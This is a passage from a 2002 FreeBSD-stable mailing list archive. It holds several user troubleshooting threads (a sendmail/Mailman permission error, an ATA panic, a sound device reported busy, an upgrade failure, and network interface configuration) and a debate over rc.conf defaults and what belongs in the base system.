A79DF37B41E for ; Mon, 22 Apr 2002 20:38:23 -0700 (PDT) Received: from ntplx.net (dhcp-209-54-72-109.ct.dsl.ntplx.com [209.54.72.109]) by mail.ntplx.net (8.11.6/8.11.4/NETPLEX) with ESMTP id g3N3cMD11560 for ; Mon, 22 Apr 2002 23:38:22 -0400 (EDT) Message-ID: <3CC4D6E3.6245582E@ntplx.net> Date: Mon, 22 Apr 2002 23:37:07 -0400 From: Ted Sikora X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.2 i386) X-Accept-Language: en-US,en-GB MIME-Version: 1.0 To: "freebsd-stable@FreeBSD.ORG" Subject: Mailman wierdness Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG After the recent sendmail commit I started getting this. I updated/rebuilt python several times. Is python core dumping on it's own or caused by the tmp file error in Mailman? pid 2313 (python2.2), uid 91: exited on signal 11 (core dumped) Apr 21 18:22:01 dhcp-209-54-72-109 /kernel: pid 2313 (python2.2), uid 91: exited on signal 11 (core dumped) Apr 21 18:22:01 dhcp-209-54-72-109 sendmail[2315]: g3LMM1s7002315: SYSERR(mailman): collect: Cannot write ./dfg3LMM1s7002315 (bfcommit, uid=91, gid=25): Permission denied Apr 21 18:22:01 dhcp-209-54-72-109 sendmail[2315]: g3LMM1s7002315: SYSERR(mailman): queueup: cannot create queue temp file ./tfg3LMM1s7002315, uid=91: Permission denied -- Ted Sikora tsikora@ntplx.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 20:50: 1 2002 Delivered-To: freebsd-stable@freebsd.org Received: from horsey.gshapiro.net (horsey.gshapiro.net [209.220.147.178]) by hub.freebsd.org (Postfix) with ESMTP id 98DB437B417 for ; Mon, 22 Apr 2002 20:49:56 -0700 (PDT) Received: from horsey.gshapiro.net (gshapiro@localhost [IPv6:::1]) by horsey.gshapiro.net (8.12.3/8.12.3) with ESMTP id g3N3nuOE036313 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 22 Apr 2002 20:49:56 -0700 (PDT) Received: (from gshapiro@localhost) by horsey.gshapiro.net (8.12.3/8.12.3/Submit) id g3N3ntWh036310; Mon, 22 Apr 2002 20:49:55 -0700 (PDT) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15556.55779.705102.849243@horsey.gshapiro.net> Date: Mon, 22 Apr 2002 20:49:55 -0700 From: Gregory Neil Shapiro To: Ted Sikora Cc: "freebsd-stable@FreeBSD.ORG" Subject: Re: Mailman wierdness In-Reply-To: <3CC4D6E3.6245582E@ntplx.net> References: <3CC4D6E3.6245582E@ntplx.net> X-Mailer: VM 7.00 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG tsikora> pid 2313 (python2.2), uid 91: exited on signal 11 (core dumped) tsikora> Apr 21 18:22:01 dhcp-209-54-72-109 /kernel: pid 2313 (python2.2), uid tsikora> 91: exited on signal 11 (core dumped) Can't help with this, but... tsikora> Apr 21 18:22:01 dhcp-209-54-72-109 sendmail[2315]: g3LMM1s7002315: tsikora> SYSERR(mailman): collect: Cannot write ./dfg3LMM1s7002315 (bfcommit, tsikora> uid=91, gid=25): Permission denied Make sure you ran mergemaster and installed /etc/mail/submit.cf. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 21:18:47 2002 Delivered-To: freebsd-stable@freebsd.org Received: from chezgeek.dhs.org (adsl-208-201-244-243.sonic.net [208.201.244.243]) by hub.freebsd.org (Postfix) with ESMTP id A216337B416 for ; Mon, 22 Apr 2002 21:18:41 -0700 (PDT) Received: from LUCKYVAIO (adsl-208-201-244-240.sonic.net [208.201.244.240]) (using TLSv1 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by chezgeek.dhs.org (Postfix) with ESMTP id 2FBFDA for ; Mon, 22 Apr 2002 21:18:40 -0700 (PDT) From: "Lucky Green" To: Subject: Re: /etc/defaults/rc.conf theory Date: Mon, 22 Apr 2002 21:17:40 -0700 Organization: Cypherpunks Jihad Message-ID: <002d01c1ea7d$cf1cb060$c33a080a@LUCKYVAIO> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Doug Barton wrote: On Sun, 21 Apr 2002, M. Warner Losh wrote: > In message: <200204200256.g3K2uOu10038@sheol.localdomain> > hawkeyd@visi.com (D J Hawkey Jr) writes: > : IMHO, you muddy, if not nullify, the abstract altogether. You are > advocating > : copying this file down to /etc, and editing it. There goes the concept of > : "overriding the values contained in this file". > > Yes. /etc/defaults/rc.conf and /etc/rc.conf are separated because we > wanted to change the defaults from time to time. Users hate this. ----------------- Depends on the user. My rc.conf has perhaps 15 lines and some of those are simply there because the OpenSSH and bind ports in STABLE tend to lag quite a bit behind the release and the port versions are installed in different directories than the those that come with the default FreeBSD distribution. I once or twice read /etc/defaults/rc.conf out of sheer curiosity, but I don't seem to be impacted by the majority of the defaults. There were times when I did wish to make a change and for that it was handy to be able to see what the defaults are. As for changing defaults from underneath the user, there are probably times when it makes sense to do so for security reasons. There was a time when all machines came with the basic services (chargen, echo, etc.) turned on. This is no longer the case since security principles have changed and I doubt many users noticed that change once it happened. Those who did notice probably also knew how to re-enable these services. There are some sudden changes that can break things, I remember upgrading once and sendmail stopped working because the config files had moved from /etc to /etc/mail/, but it didn't take long to figure out what the problem was and cleaning up the hierarchy as features get added just has to be done at times even if that breaks things. If anything, I believe rc.conf could be shortened further. I doubt there are many FreeBSD boxes out there that don't use ntp, so that line could be added to the defaults. Sendmail recently added another 4 lines to rc.conf, which again could be moved into defaults for those users that actually still use sendmail as the MTA. The basic assumption that I as a user am making is that if the FreeBSD team re-organizes layouts for a release, they will make the corresponding changes to /etc/defaults/rc.* so I don't have to worry about a service breaking during upgrade because some path changed while given the developers an opportunity to clean up the layout without the user having to track any such changes by wading through pages of docs. Which is important to me, given that I maintain a machine on the other side of the planet to which I only have ssh access. The less lines there are in rc.conf, the less chance I get to screw up the config. Of the three or four times in the last few years that the machine didn't come back from a reboot after making the world or upgrading ssh, a typo or error in rc.conf was the culprit each time. The current structure works well for me. Other users with highly customized boxes may feel differently. But then, I am tracking the present security branch, not CURRENT, and thus may care less about what well-tested reorganizations happen under the hood than more adventurous users. There may be better structures than the current structure. I don't know. However, if you change the structure, whatever you do please ensure that there is an automated migration tool that will suck in the current config files and bring them into the new format as part of an upgrade from source. One satisfied FreeBSD user, --Lucky To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 21:20:27 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mail.acns.ab.ca (mail.acns.ab.ca [142.179.151.95]) by hub.freebsd.org (Postfix) with ESMTP id 8414737B405 for ; Mon, 22 Apr 2002 21:20:18 -0700 (PDT) Received: from colnta.acns.ab.ca (colnta.acns.ab.ca [192.168.1.2]) by mail.acns.ab.ca (8.12.2/8.12.2) with ESMTP id g3N4KC3S020506 for ; Mon, 22 Apr 2002 22:20:13 -0600 (MDT) (envelope-from davidc@colnta.acns.ab.ca) Received: from colnta.acns.ab.ca (localhost [127.0.0.1]) by colnta.acns.ab.ca (8.12.2/8.11.3) with ESMTP id g3N4KCsn091472 for ; Mon, 22 Apr 2002 22:20:12 -0600 (MDT) (envelope-from davidc@colnta.acns.ab.ca) Received: (from davidc@localhost) by colnta.acns.ab.ca (8.12.2/8.12.2/Submit) id g3N4KCaF091471 for stable@freebsd.org; Mon, 22 Apr 2002 22:20:12 -0600 (MDT) Date: Mon, 22 Apr 2002 22:20:12 -0600 From: Chad David To: stable@freebsd.org Subject: ATA panic (ad_service()) Message-ID: <20020422222012.A91432@colnta.acns.ab.ca> Mail-Followup-To: stable@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I just cvsup'd to -stable, and the system is panicing when hw.ata.tags=1 in ata-disk.c ad_service() because adp->device->channel->device[ATA_DEV(ATA_SLAVE)].driver is NULL. Are there known issues with this code right now? Thanks. -- Chad David davidc@acns.ab.ca www.FreeBSD.org davidc@freebsd.org ACNS Inc. Calgary, Alberta Canada Fourthly, The constant breeders, beside the gain of eight shillings sterling per annum by the sale of their children, will be rid of the charge of maintaining them after the first year. - Johnathan Swift To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 21:32:25 2002 Delivered-To: freebsd-stable@freebsd.org Received: from laptop.tenebras.com (laptop.tenebras.com [66.92.188.18]) by hub.freebsd.org (Postfix) with SMTP id 450B137B400 for ; Mon, 22 Apr 2002 21:32:22 -0700 (PDT) Received: (qmail 1139 invoked from network); 23 Apr 2002 04:32:20 -0000 Received: from sapphire.tenebras.com (HELO tenebras.com) (66.92.188.241) by 0 with SMTP; 23 Apr 2002 04:32:20 -0000 Message-ID: <3CC4E3D4.6010603@tenebras.com> Date: Mon, 22 Apr 2002 21:32:20 -0700 From: Michael Sierchio Reply-To: kudzu@tenebras.com User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.9) Gecko/20020404 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Lucky Green Cc: freebsd-stable@freebsd.org Subject: Re: /etc/defaults/rc.conf theory References: <002d01c1ea7d$cf1cb060$c33a080a@LUCKYVAIO> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Lucky Green wrote: > Depends on the user. My rc.conf has perhaps 15 lines and some of those > are simply there because the OpenSSH and bind ports in STABLE tend to > lag quite a bit behind the release and the port versions are installed > in different directories than the those that come with the default > FreeBSD distribution. Same here. But it is UTTERLY ABSURD that everything isn't installed as a package -- even those components in the base system, so they can be removed and replaced with, for example, the ports versions. I don't run BIND or Sendwhale^H^H^H^H^Hmail. I want the version of OpenSSH in the ports. And why the heck is OpenSSL in the system? It's extremely difficult to track -STABLE or -SECURITY and maintain a configuration used in a professional environment. I'm happy for hobbyists to do as they please, but this is another barrier to gaining acceptance for our favorite OS. The rationale for inclusion in the base system as opposed to ports has usually been licensing issues. The trend toward including everything needs to STOP. We need less, not more, in the base system. If some items are deemed so useful that they should be included by default -- such as sendmail -- at least make them packages so that they can be removed, and include config variables so that they are not installed with 'world' rage away, M. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 22:53:39 2002 Delivered-To: freebsd-stable@freebsd.org Received: from skif.net (relay.skif.net [195.58.224.34]) by hub.freebsd.org (Postfix) with ESMTP id BF1EE37B400 for ; Mon, 22 Apr 2002 22:53:34 -0700 (PDT) Received: from [195.58.224.122] (HELO dru.dn.ua) by skif.net (CommuniGate Pro SMTP 3.5.6) with ESMTP-TLS id 4709858 for freebsd-stable@freebsd.org; Tue, 23 Apr 2002 08:53:23 +0300 Received: (from admin@localhost) by dru.dn.ua (8.12.2/8.12.2) id g3N5qYpK009547 for freebsd-stable@freebsd.org; Tue, 23 Apr 2002 08:52:34 +0300 (EEST) (envelope-from admin) Date: Tue, 23 Apr 2002 08:52:34 +0300 From: "Vladislav V. Zhuk" To: freebsd-stable@freebsd.org Subject: Device busy Message-ID: <20020423055234.GB8644@dru.dn.ua> Mime-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Disposition: inline User-Agent: Mutt/1.3.27i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi! After cvsup and make world (kernel) appears a trouble with sound. After 2 hours normal work i get this: > play -d /dev/dsp0.2 -v 4 /usr/ftp/pub/wav/TEST.WAV sox: Can't open output file '/dev/dsp0.2': Device busy "lsof | grep dsp" - don't show anything Who lock this device?? > uname -a FreeBSD 4.5-STABLE #0: Tue Apr 9 16:24:26 EEST 2002 PS: behaviour of other dsp (dsp0.1, dsp0.3) is same. Before last cvsup i don't this problem with sound -- Vladislav V. Zhuk (06267)3-60-03 admin@dru.dn.ua 2:465/197@FidoNet.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 23: 7:40 2002 Delivered-To: freebsd-stable@freebsd.org Received: from skif.net (relay.skif.net [195.58.224.34]) by hub.freebsd.org (Postfix) with ESMTP id A9D5F37B400 for ; Mon, 22 Apr 2002 23:07:35 -0700 (PDT) Received: from [195.58.224.122] (HELO dru.dn.ua) by skif.net (CommuniGate Pro SMTP 3.5.6) with ESMTP-TLS id 4710173 for freebsd-stable@freebsd.org; Tue, 23 Apr 2002 09:07:19 +0300 Received: (from admin@localhost) by dru.dn.ua (8.12.2/8.12.2) id g3N670ZI010313 for freebsd-stable@freebsd.org; Tue, 23 Apr 2002 09:07:00 +0300 (EEST) (envelope-from admin) Date: Tue, 23 Apr 2002 09:07:00 +0300 From: "Vladislav V. Zhuk" To: freebsd-stable@freebsd.org Subject: screen refresh rate Message-ID: <20020423060700.GD8644@dru.dn.ua> Mime-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Disposition: inline User-Agent: Mutt/1.3.27i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi! I'm work at the computer up to 12 hours per day. The refresh rate of textmodes in FreeBSD is too low (60-70 Hz). But i want to safe my eyes. How I can to raise refresh rate to (for example) 85-90 Hz on text modes (80x25, 80x30, 80x43, 80x50 and other) ?? FreeBSD 4.5-STABLE #0: Tue Apr 9 16:24:26 EEST 2002 PS: don't offer X. -- Vladislav V. Zhuk (06267)3-60-03 admin@dru.dn.ua 2:465/197@FidoNet.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 23:17: 9 2002 Delivered-To: freebsd-stable@freebsd.org Received: from HAL9000.wox.org (12-232-222-90.client.attbi.com [12.232.222.90]) by hub.freebsd.org (Postfix) with ESMTP id 70F4D37B41A; Mon, 22 Apr 2002 23:16:51 -0700 (PDT) Received: (from das@localhost) by HAL9000.wox.org (8.11.6/8.11.6) id g3N6H7Z54746; Mon, 22 Apr 2002 23:17:07 -0700 (PDT) (envelope-from das) Date: Mon, 22 Apr 2002 23:17:07 -0700 From: David Schultz To: Terry Lambert Cc: freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Message-ID: <20020422231707.A53736@HAL9000.wox.org> Mail-Followup-To: Terry Lambert , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG References: <20020421191440.J1721-100000@mail1.hub.org> <3CC3D494.649C2A8E@mindspring.com> <20020422060952.B31888@HAL9000.wox.org> <3CC4C3A0.B1279BFC@mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3CC4C3A0.B1279BFC@mindspring.com>; from tlambert2@mindspring.com on Mon, Apr 22, 2002 at 07:14:56PM -0700 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thus spake Terry Lambert : > I'm pretty sure Solaris also used 4K pages for swappable memory > in the kernel, as well: 4M pages don't make much sense, since > you could, for example, exhaust KVA space with 250 kernel modules > (250 X (1 data + 1 code) * 4M = 2G). It doesn't use 4M pages for all kernel memory---just the first 4M of code and the first 4M of data. Supposedly it also allows applications to take advantage of 4M pages, though I'm not sure how that works. At the very least I'd suppose that those pages are locked into memory. > I don't know where the Linux limitation comes from; it's really > hard for me to believe "~3G", since it's not an even power of 2, > so I don't really credit this limitation. I don't really understand it either. I could try to find the link to where I found this information if you're interested, but I wouldn't be surprised if it is simply wrong. The 2.4 kernel docs seem to imply that 2.4 can use 4 GB of RAM without PAE. > No problem; I think you will have to, if you are planning on > mucking about with more than 4G of physical memory. I have no such plans in the immediate future; at this point the discussion is a curiosity. But with any luck I will already know what's going on by the time I need to worry about tweaking the kernel in bizarre ways. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 23:23:57 2002 Delivered-To: freebsd-stable@freebsd.org Received: from fe000.worldonline.dk (fe000.worldonline.dk [212.54.64.194]) by hub.freebsd.org (Postfix) with SMTP id 2490A37B41C for ; Mon, 22 Apr 2002 23:23:38 -0700 (PDT) Received: (qmail 21509 invoked by uid 0); 23 Apr 2002 06:23:36 -0000 Received: from 213.237.14.128.adsl.ho.worldonline.dk (HELO dpws) (213.237.14.128) by fe000.worldonline.dk with SMTP; 23 Apr 2002 06:23:36 -0000 Message-ID: <002201c1ea8f$5a47c380$0301a8c0@dpws> From: "Dennis Pedersen" To: , References: <20020423004334.GB92473@wjv.com> Subject: Re: Upgrade from 4,5 Stable->4,5 Release ... Date: Tue, 23 Apr 2002 08:23:15 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG From: "Bill Vermillion" > > Date: Mon, 22 Apr 2002 22:38:09 +0200 > > From: "Dennis Pedersen" > > Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf > > [lucretia deletia] > > .... > > > Okai now i followed the howto and did EXACTLY as they said (and > > rebooted after installkernel) but during the installworld it > > stops :( > > > Then i simply deleted the intere /usr/src and cvsuped it once > > again, did the hole thing over - same error > > .... > > > mtree -deU -f /usr/src/etc/mtree/BSD.var.dist -p /var > > mtree: line 63: unknown group smmsp > > *** Error code 1 > > > > Stop in /usr/src/etc. > > *** Error code 1 > > > Anyone got a hint here? (as i said in now to the update thing but i have > > read the handbook from an end so im not completely lost) > > Sure - read the UPDATING in /usr/src. You should ALWAY read > UPDATING before doing anything else. > > As smmsp with GID of 25 to /etc/group. Bummer, i missed that part - and now its installing the world just fine Thanx :) /Dennis To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 23:49:34 2002 Delivered-To: freebsd-stable@freebsd.org Received: from rwcrmhc53.attbi.com (rwcrmhc53.attbi.com [204.127.198.39]) by hub.freebsd.org (Postfix) with ESMTP id AEF5D37B405 for ; Mon, 22 Apr 2002 23:49:29 -0700 (PDT) Received: from blossom.cjclark.org ([12.234.91.48]) by rwcrmhc53.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020423064928.MUUT12144.rwcrmhc53.attbi.com@blossom.cjclark.org> for ; Tue, 23 Apr 2002 06:49:28 +0000 Received: (from cjc@localhost) by blossom.cjclark.org (8.11.6/8.11.6) id g3N6mDr85231; Mon, 22 Apr 2002 23:48:13 -0700 (PDT) (envelope-from cjc) Date: Mon, 22 Apr 2002 23:48:13 -0700 From: "Crist J. Clark" To: Fictif Cc: FreeBSD ML Subject: Re: Ports dealing with non-root users suggestion Message-ID: <20020422234813.D84809@blossom.cjclark.org> References: <20020422124051.A79219@mysticjah.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020422124051.A79219@mysticjah.org>; from fitctif@mysticjah.org on Mon, Apr 22, 2002 at 12:40:51PM +0200 X-URL: http://people.freebsd.org/~cjc/ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Apr 22, 2002 at 12:40:51PM +0200, Fictif wrote: > The idea is to allow normal users to use the ports dir to install apps. > I think it's an interesting idea to allow users to keep a clean home dir > and this would allow the Admin to know what apps users are using... Then > a script could link the existing apps existing on different users > account toward a same location (btw,just in case the app was not > installed by the Admin). > > Here is the idea which implies many features and requirements (like a > dir for 'users ports' -needed for various libs, shared docs or logs files- which doesn't depend on the usual dirs). I don't see bigs troubles implied by this way of installing apps but you propably do (That's why I'm posting). > IMHO, this have the advantage of reducing disk space used by users, this > would give simple way to the Admin to monitor the users apps and to > upgrade theses apps. There is probably a safe way to implement this > using the existing ports dir. And what's the reason normal users can't build ports now? Just set DISTDIR, WRKDIRPREFIX, and PREFIX as appropriate. Feel free to report ports that don't work this way, which shouldn't actually require root privileges, as broken. -- Crist J. Clark | cjclark@alum.mit.edu | cjclark@jhu.edu http://people.freebsd.org/~cjc/ | cjc@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 0: 0:27 2002 Delivered-To: freebsd-stable@freebsd.org Received: from rwcrmhc53.attbi.com (rwcrmhc53.attbi.com [204.127.198.39]) by hub.freebsd.org (Postfix) with ESMTP id 0655737B419 for ; Tue, 23 Apr 2002 00:00:19 -0700 (PDT) Received: from blossom.cjclark.org ([12.234.91.48]) by rwcrmhc53.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020423070018.MYVO12144.rwcrmhc53.attbi.com@blossom.cjclark.org>; Tue, 23 Apr 2002 07:00:18 +0000 Received: (from cjc@localhost) by blossom.cjclark.org (8.11.6/8.11.6) id g3N70HJ85261; Tue, 23 Apr 2002 00:00:17 -0700 (PDT) (envelope-from cjc) Date: Tue, 23 Apr 2002 00:00:17 -0700 From: "Crist J. Clark" To: Robin Blanchard Cc: stable@FreeBSD.ORG Subject: Re: multiple interfaces problem Message-ID: <20020423000017.E84809@blossom.cjclark.org> References: <3CC46237.2B82743E@gactr.uga.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3CC46237.2B82743E@gactr.uga.edu>; from Robin_Blanchard@gactr.uga.edu on Mon, Apr 22, 2002 at 03:19:19PM -0400 X-URL: http://people.freebsd.org/~cjc/ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Apr 22, 2002 at 03:19:19PM -0400, Robin Blanchard wrote: > Sometime within the last month, ifconfig has changed so that the > following rc.conf entries do not properly initialise the second (in this > case fxp0) interface. > > network_interfaces="auto" > ifconfig_ti0="inet 10.10.10.221 netmask 255.255.0.0" > ifconfig_fxp0="inet 10.10.10.222 netmask 255.255.0.0" > defaultrouter="10.10.0.1" > hostname="test.servers.nat" > > there is still a sysctl knob > # sysctl -a |grep arp > net.link.ether.inet.log_arp_wrong_iface: 0 > > that deals with multiple interfaces on the same net, so seems that this > behaviour should be allowed, whether frowned upon or not. I ran into > this this morning after brining up this test box and installing a new > world onto it (it had been sleeping for about a month when it had a > previous 4.5 STABLE world). This configuration is broken for the same reason putting two aliases on the same interface on the same network is. When the system goes to assign the route for the second ifconfig(8), it already exists and it fails. It has nothing to do with net.link.ether.inet.log_arp_wrong_iface sysctl(8). This, ifconfig_ti0="inet 10.10.10.221 netmask 255.255.0.0" ifconfig_fxp0="inet 10.10.10.222 netmask 255.255.255.255" Will work fine for you and is effectively what your system was doing before it started flagging the configuration error. -- Crist J. Clark | cjclark@alum.mit.edu | cjclark@jhu.edu http://people.freebsd.org/~cjc/ | cjc@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 0: 4:39 2002 Delivered-To: freebsd-stable@freebsd.org Received: from skif.net (ns.skif.net [195.58.224.34]) by hub.freebsd.org (Postfix) with ESMTP id 1ABC137B419 for ; Tue, 23 Apr 2002 00:04:32 -0700 (PDT) Received: from [195.58.224.122] (HELO dru.dn.ua) by skif.net (CommuniGate Pro SMTP 3.5.6) with ESMTP-TLS id 4711343 for stable@FreeBSD.ORG; Tue, 23 Apr 2002 10:04:26 +0300 Received: (from admin@localhost) by dru.dn.ua (8.12.2/8.12.2) id g3N74Car016841; Tue, 23 Apr 2002 10:04:12 +0300 (EEST) (envelope-from admin) Date: Tue, 23 Apr 2002 10:04:12 +0300 From: "Vladislav V. Zhuk" To: Odhiambo Washington Cc: stable@FreeBSD.ORG Subject: Re: Device busy Message-ID: <20020423070314.GH8644@dru.dn.ua> References: <20020423055234.GB8644@dru.dn.ua> <20020423063932.GB43364@ns2.wananchi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Disposition: inline In-Reply-To: <20020423063932.GB43364@ns2.wananchi.com> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Apr 23, 2002 at 09:39:32AM +0300, Odhiambo Washington wrote: > > > play -d /dev/dsp0.2 -v 4 /usr/ftp/pub/wav/TEST.WAV > > sox: Can't open output file '/dev/dsp0.2': Device busy > > > > "lsof | grep dsp" - don't show anything > > > > Who lock this device?? > > cd /dev && sh MAKEDEV all I always do this after make world and reboot > Is the device listed, even, when you do ls -al /dev/ds* # ls -al /dev/ds* lrwxrwxrwx 1 root wheel 4 9 apr 19:39 /dev/dsp -> dsp0 lrwxrwxrwx 1 root wheel 6 9 apr 19:39 /dev/dsp0 -> dsp0.0 crw-rw-rw- 1 root wheel 30, 3 18 apr 16:15 /dev/dsp0.0 crw-rw-rw- 1 root wheel 30, 0x00010003 9 apr 19:39 /dev/dsp0.1 crw-rw-rw- 1 root wheel 30, 0x00020003 23 apr 09:50 /dev/dsp0.2 crw-rw-rw- 1 root wheel 30, 0x00030003 22 apr 13:49 /dev/dsp0.3 lrwxrwxrwx 1 root wheel 5 9 apr 19:39 /dev/dspW -> dspW0 lrwxrwxrwx 1 root wheel 7 9 apr 19:39 /dev/dspW0 -> dspW0.0 crw-rw-rw- 1 root wheel 30, 5 9 apr 19:39 /dev/dspW0.0 crw-rw-rw- 1 root wheel 30, 0x00010005 9 apr 19:39 /dev/dspW0.1 crw-rw-rw- 1 root wheel 30, 0x00020005 9 apr 19:39 /dev/dspW0.2 crw-rw-rw- 1 root wheel 30, 0x00030005 9 apr 19:39 /dev/dspW0.3 after MAKEDEV all: # ls -al /dev/ds* lrwxrwxrwx 1 root wheel 4 23 apr 09:58 /dev/dsp -> dsp0 lrwxrwxrwx 1 root wheel 6 23 apr 09:58 /dev/dsp0 -> dsp0.0 crw-rw-rw- 1 root wheel 30, 3 23 apr 09:58 /dev/dsp0.0 crw-rw-rw- 1 root wheel 30, 0x00010003 23 apr 09:58 /dev/dsp0.1 crw-rw-rw- 1 root wheel 30, 0x00020003 23 apr 09:58 /dev/dsp0.2 crw-rw-rw- 1 root wheel 30, 0x00030003 23 apr 09:58 /dev/dsp0.3 lrwxrwxrwx 1 root wheel 5 23 apr 09:58 /dev/dspW -> dspW0 lrwxrwxrwx 1 root wheel 7 23 apr 09:58 /dev/dspW0 -> dspW0.0 crw-rw-rw- 1 root wheel 30, 5 23 apr 09:58 /dev/dspW0.0 crw-rw-rw- 1 root wheel 30, 0x00010005 23 apr 09:58 /dev/dspW0.1 crw-rw-rw- 1 root wheel 30, 0x00020005 23 apr 09:58 /dev/dspW0.2 crw-rw-rw- 1 root wheel 30, 0x00030005 23 apr 09:58 /dev/dspW0.3 sound don't appear: > play -d /dev/dsp0.2 -v 4 /usr/ftp/pub/wav/TEST.WAV sox: Can't open output file '/dev/dsp0.2': Device busy -- Vladislav V. Zhuk (06267)3-60-03 admin@dru.dn.ua 2:465/197@FidoNet.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 0:39: 7 2002 Delivered-To: freebsd-stable@freebsd.org Received: from h1.generalresources.com (h1.generalresources.com 